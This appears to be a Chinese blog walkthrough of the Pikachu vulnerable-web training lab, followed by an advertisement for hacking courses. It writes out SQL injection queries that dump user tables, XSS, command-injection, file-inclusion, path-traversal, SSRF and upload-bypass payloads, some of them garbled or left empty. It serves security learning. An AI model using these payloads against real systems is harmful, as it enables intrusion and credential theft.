一.暴力破解
1.1基于表单的暴力破解
1.1.1 漏洞利用
burp抓包,ctrl+i 添加爆破
根据返回长度得到两个用户
admin 123456
test abc123
1.1.2 源代码分析
文件路径在:vul/burteforce/bf_form.php
通过注释以及说明了,没有验证码也没有其他的访问控制,直接开始爆破就行
1.2 验证码绕过(on server)
1.2.1 漏洞利用
比上面多了一个验证码,我们在提交时抓包,然后ctrl+r 重放,多点击几次send 然后看返回结果
发现同一个验证码我们重复使用了多次,返回的结果时用户名或密码错误,并没有提示验证码失效,也就是只要我们这个页面不刷新,就可以一直用这个验证码,那就跟第一关一样,直接ctrl+i拿去爆破,得到了跟上面一样的用户名跟密码
分别是 admin 123456
test abc123
1.2.2 源代码分析
文件路径在:vul/burteforce/bf_server.php
关键点在于36行,注释也以及硕明白了,在验证完成后并没有销毁掉session[‘vcode’],导致了我们可以一直重复利用改验证码
1.3 验证码绕过(on client)
1.3.1 漏洞利用
输入验证码后,这提示也太快了把,点击后就立马弹出了错误,打开f12再试一次,果然,根本就没有发起http请求,验证码来自于前端的js,难怪这么快
burp抓包验证下 将验证码的vcode参数置空
发现提示的是用户名或密码错误,没有校验验证码参数,那么直接开始爆破即可
1.3.2 源代码分析
文件路径:就在当前页面
F12查看源代码,果然是前端生成的验证码,服务器并不校验
1.4 token防爆破
1.4.1 漏洞利用
这里抓包可以看到多了个token,并且重放无法继续利用
经过查找发现是在密码输入框的下方多一个隐藏的输入框,记录的是token的信息,那么直接拿去burp上开始爆破
ctrl+i 发送到爆破
模式选择 pitchfork 勾选两个参数,一个是密码,一个是token
密码选项加载密码字典,token选项选择 Recursive grep
然后来到设置选项 勾选跟随重定向,然后点击正则的 Add
鼠标选中token的值,burp会自动生成正则表达式,不用自己手动输,点击ok
线程选项要更改一下, 设为单线程,然后直接开始爆破
发现每次爆破的自动带入了当前页面的token,依旧根据长度判断
爆破成功,得到 admin的密码为123456
1.4.2 源代码分析
文件路径在 vul/burteforce/bf_token.php
在文件的63行设置了token
跟进函数,函数每次调用前都会检查当前session是否有token参数,有的话会先删除掉这个token再重新生成并保存到session中,也就无法重复利用了
二:Cross-Site Scripting(xss)
概述:Cross-Site Scripting的简写css与前端的css重名了,所以称之为xss
2.1 反射型xss(get)
2.1.1 反射型xss(get)漏洞利用
输入到一半发现有字符长度限制,f12打开,将20个长度的限制加大
输入
成功弹窗
2.1.2 源码分析
文件路径 vul/xss/xss_reflected_get.php
直接接受我们get请求传递上来的内容未经任何过滤直接输出,导致了xss
2.2 反射型xss(post)
2.2.1 漏洞利用
这里首先是一个登录框,直接根据我们上面爆破到的用户名跟密码登录即可
我这里用 admin 123456
也是没有任何过滤,直接在输入框输入payload就行
2.2.2 源码分析
文件路径:vul/xss/xsspost/xss_reflected_post.php
这里与上面一关唯一不同的就是传递的方式有GET转为了POST,同样也是无任何过滤直接返回到前端
2.3 存储型xss
2.3.1 漏洞利用
也是无任何过滤,直接输入 payload
<img src=1 οnerrοr=alert1>
2.3.2 源码分析
vul/xss/xss_stored.php
也是无任何过滤,与前面不同的是这次将值传入了数据库,然后从数据库取值
2.4 dom型xss
这里是将传递的值当作了标签的href属性,插入payload javascript:alert1
2.5 DOM型xss-x
依旧使用javascript伪协议
javascript:alert1
2.6 xss之盲打
直接插入payload <svg οnlοad=alert1>
后台的地址为
locaohost/vul/xss//xssblind/admin.php
2.7 xss之过滤
payload "><svg οnlοad=alert1>
2.8 xss之htmlspecialchars
这个函数会过滤简括含号,但是我们的输出点是在a标签的href属性当中,直接使用伪协议即可
payload : javascript:alert1
还有就是htmlspcialchars 默认不对单引号过滤 也可以使用 ’
payload : ’ οnclick=‘alert1’
2.9 xss之href输出
payload : javascript:alert1
2.10 xss之js输出
这次的输出点在js上面,闭合掉前面的js,再插入代码
payload :
三:csrf
3.1 CSRF(get) CSRF(post)
在修改内容包的页面 engagement tools -> generte csrf poc
自动生成一个csrf的html文件,放到浏览器即可触发
token csrf 目前没搞定
token在页面内容,想的是ajax先获取到页面token,将token替换再次发送一个csrf,但是ajax没法跨域,网上搜了token也是防止csrf的一种方式
四: SQL-Inject
4.1 数字型注入(post) 手工注入
是一个下拉菜单,无法通过浏览器修改内容,那上burp
输入单引号 页面报错,那么可能存在sql注入
id=1 页面返回内容
id=2 页面返回不一样的内容
id=2-1 页面返回跟页面1一样的内容,说明后端执行了2-1,所以返回了id=1的内容,判断得知这是一个数字型的注入
判断字段数 id=1 order by 10 //order by 是排序,如果字段数大于10,那么返回正常,字段数小于我们的排序的数,就会出错
order by 2 返回正常 order by3 返回错误,得到字段数为2
判断能回显的字段 id=-1 union select 1,2 – -
//union语句聚合两个查询的内容,由于页面只返回一行,所以在前面的输入一个不存在的id,我这里直接使-号,以返回我们输入的内容,这里页面上将1,2都返回了,得知两个字段都有回显,
– -的意思是注释掉后面的sql语句
id=-1 union select user(),database()-- - 查看用户名跟数据库
得到是root用户,使用的是pikachu数据库
查询当前数据库中的表
id=-1 union select user(),group_concat(table_name) from
information_schema.tables where table_schema=database()–
-&submit=%E6%9F%A5%E8%AF%A2
得到 pikachu数据库中有5张表
httpinfo,member,message,users,xssblind
查询字段名 -错误
根据名称判断得知,users表中的字段比较重要,那就查询这张表id=-1 union select
user(),group_concat(column_name) from information_schema.columns where
table_name=‘users’-- -&submit=%E6%9F%A5%E8%AF%A2
得到这一个字段
user_id,first_name,last_name,user,password,avatar,last_login,failed_login,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password,level,id,username,password,level,id,username,password
获取字段值
获取字段名-更正
上面仅仅判断table_name = users =很多数据库中都有users这个表,查询的结果是相当的不准确,这次再次加上
table_schema=“pikachu”
id=-1 union select group_concat(column_name),2 from information_schema.columns
where table_schema=“pikachu” and table_name=“users”-- -
&submit=%E6%9F%A5%E8%AF%A2
得到只有 id username password,level 这4张表
根据字段查询内容
id=-1 union select group_concat(username),group_concat(password) fromusers– - &submit=%E6%9F%A5%E8%AF%A2
得到3个用户跟对于的3个密码,其中admin对于的密码是e10abc开头,一眼就认出是 123456的md5加密
当然,平时遇到sql注入还是sqlmap一把梭,不过学习还是要知道原理
4.2 字符型注入(get)
payload vince’ and 1=1-- -
4.3搜索型注入
payload: allen’ and 1=1-- -
4.4 xx型注入
payload: vince’)-- -
五:RCE
5.1 exec “ping”
payload 127.0.0.1 && echo 123
5.2 exec “eval”
eval函数是将字符串当作php代码执行,我们可以直接调用system()函数执行系统命令,达到代码执行到系统命令执行
payload: system(“whoami”);
六: File Inclusion
6.1 本地文件包含
http://pikachu.cn/vul/fileinclude/fi_local.php?filename=…/…/…/…/…/…/…/…/./a.txt&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2
读取到了本地磁盘 a.txt的内容
6.2 远程文件包含
payload:
http://pikachu.cn/vul/fileinclude/fi_remote.php?filename=http://www.baidu.com&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2
七:Unsafe Filedownload
不安全的文件下载
在参数filename
payload:
http://pikachu.cn/vul/unsafedownload/execdownload.php?filename=…/…/…/…/…/…/…/a.txt
八: Unsafe Fileupload 不安全的文件上传
8.1 client check
客户端校验,将自己的php脚本重命名为png结尾,然后上传的时候抓包,将名称该过来
路径前台返回,拼接访问
8.2 MIME type
这里是校验上传的 Content-Type: image/png
由于我们后缀本来就是png,就是正确的,还是跟上面一样,将png更改为php
8.3 getimagesize
这里的后缀名是限制死的只能使用图片后缀
我们现在一张正常图片用编辑器打开,在末尾添加上php脚本
然后通过上方的本地文件包含当作php执行
9. Over Permission
9.1 水平越权
http://pikachu.cn/vul/overpermission/op1/op1_mem.php?username=lili&submit=%E7%82%B9%E5%87%BB%E6%9F%A5%E7%9C%8B%E4%B8%AA%E4%BA%BA%E4%BF%A1%E6%81%AF
得到ili的信息,我们更改url中的username参数,更改为lucy 发现我们能获取到同等级用户lucy的信息,这就是水平越权
9.2 垂直越权
通过提示得到有admin管理员用户,可以添加信息 普通用户piukachu 只能查看信息
添加页面的网址在
http://pikachu.cn/vul/overpermission/op2/op2_admin_edit.php
普通用户登录直接访问这个连接,输入后提交,发现我们普通用户的身份依旧能使用管理员的添加用户,这就是垂直越权
十: …/…/
路径穿越
payload:http://pikachu.cn/vul/dir/dir_list.php?title=…/…/…/…/…/…/…/…/…/a.txt
十一: 敏感信息泄露
那直接f12打开开翻 得到用户名跟密码
十二:PHP反序列化
payload: O:1:“S”:1:{s:4:“test”;s:29:“”;}
十三:XXE
payload :<?xml version="1.0"?> ]> &xxe;
十四:URL重定向
url参数可控
payload: pikachu.cn/vul/urlredirect/urlredirect.php?url=http://www.baidu.com
十五:SSRF
15.1 SSRF(curl)
url参数可控
payload: pikachu.cn/vul/ssrf/ssrf_curl.php?url=http://www.baidu.com
15.2 SSRF(file_get_content)
file参数可控
payload: http://pikachu.cn/vul/ssrf/ssrf_fgc.php?file=d://a.txt
打算是当天搞定的,现在已经 02点37分了,后面只有payload细节不详细了,通过这个靶机还是认识到自己的不足
如何系统学习网络安全/黑客?
网络安全不是「速成黑客」,而是守护数字世界的骑士修行。当你第一次用自己写的脚本检测出漏洞时,那种创造的快乐远胜于电影里的炫技。装上虚拟机,从配置第一个Linux环境开始,脚踏实地从基础命令学起,相信你一定能成为一名合格的黑客。
如果你还不知道从何开始,我自己整理的282G的网络安全教程可以分享,我也是一路自学走过来的,很清楚小白前期学习的痛楚,你要是没有方向还没有好的资源,根本学不到东西!
黑客/网络安全学习路线
今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。
网络安全学习资源分享:
下面给大家分享一份2025最新版的网络安全学习路线资料,帮助新人小白更系统、更快速的学习黑客技术!
一、2025最新网络安全学习路线
一个明确的学习路线可以帮助新人了解从哪里开始,按照什么顺序学习,以及需要掌握哪些知识点。
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
**读者福利 |**CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享**(安全链接,放心点击)**
我们把学习路线分成L1到L4四个阶段,一步步带你从入门到进阶,从理论到实战。
L1级别:网络安全的基础入门
L1阶段:我们会去了解计算机网络的基础知识,以及网络安全在行业的应用和分析;学习理解安全基础的核心原理,关键技术,以及PHP编程基础;通过证书考试,可以获得NISP/CISP。可就业安全运维工程师、等保测评工程师。
L2级别:网络安全的技术进阶
L2阶段我们会去学习渗透测试:包括情报收集、弱口令与口令爆破以及各大类型漏洞,还有漏洞挖掘和安全检查项目,可参加CISP-PTE证书考试。
L3级别:网络安全的高阶提升
L3阶段:我们会去学习反序列漏洞、RCE漏洞,也会学习到内网渗透实战、靶场实战和技术提取技术,系统学习Python编程和实战。参加CISP-PTE考试。
L4级别:网络安全的项目实战
L4阶段:我们会更加深入进行实战训练,包括代码审计、应急响应、红蓝对抗以及SRC的挖掘技术。并学习CTF夺旗赛的要点和刷题
整个网络安全学习路线L1主要是对计算机网络安全的理论基础的一个学习掌握;而L3 L4更多的是通过项目实战来掌握核心技术,针对以上网安的学习路线我们也整理了对应的学习视频教程,和配套的学习资料。
二、技术文档和经典PDF书籍
书籍和学习文档资料是学习网络安全过程中必不可少的,我自己整理技术文档,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本,(书籍含电子版PDF)

三、网络安全视频教程
对于很多自学或者没有基础的同学来说,书籍这些纯文字类的学习教材会觉得比较晦涩难以理解,因此,我们提供了丰富的网安视频教程,以动态、形象的方式展示技术概念,帮助你更快、更轻松地掌握核心知识。
网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。
四、网络安全护网行动/CTF比赛
学以致用,当你的理论知识积累到一定程度,就需要通过项目实战,在实际操作中检验和巩固你所学到的知识,同时为你找工作和职业发展打下坚实的基础。

五、网络安全工具包、面试题和源码
“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。

面试不仅是技术的较量,更需要充分的准备。
在你已经掌握了技术之后,就需要开始准备面试,我们将提供精心整理的网安面试题库,涵盖当前面试中可能遇到的各种技术问题,让你在面试中游刃有余。
如果你是要找网安方面的工作,它们绝对能帮你大忙。
这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。
参考解析:深信服官网、奇安信官网、Freebuf、csdn等
内容特点:条理清晰,含图像化表示更加易懂。
内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…